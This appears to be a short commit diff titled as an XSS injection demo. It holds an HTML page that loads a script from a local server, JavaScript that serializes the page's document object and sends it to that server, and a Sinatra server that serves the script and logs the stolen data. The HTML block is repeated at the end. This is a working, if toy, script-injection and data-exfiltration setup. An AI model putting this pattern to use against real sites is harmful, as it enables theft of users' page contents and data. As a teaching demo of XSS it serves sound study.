jtomschroeder · August 29, 2015 14:26
diff --git a/code.js b/code.js
 $.get("http://localhost:4567/?document=" + encodeURIComponent(JSON.stringify(document)), function(data, status) {});
diff --git a/index.html b/index.html
 <!DOCTYPE html>
 <html>
  <body>
    Hello, world!

    <!-- XSS injection -->
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js"></script>
    <script type="text/javascript" src="http://localhost:4567/code"></script>

  </body>
 </html>
diff --git a/server.rb b/server.rb
 require 'sinatra'

 get '/code' do
  File.read("code.js")
 end

 get '/' do
  puts params["document"]
 end
	<!DOCTYPE html>
	<html>
	<body>
	Hello, world!

	<!-- XSS injection -->
	<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js"></script>
	<script type="text/javascript" src="http://localhost:4567/code"></script>

	</body>
	</html>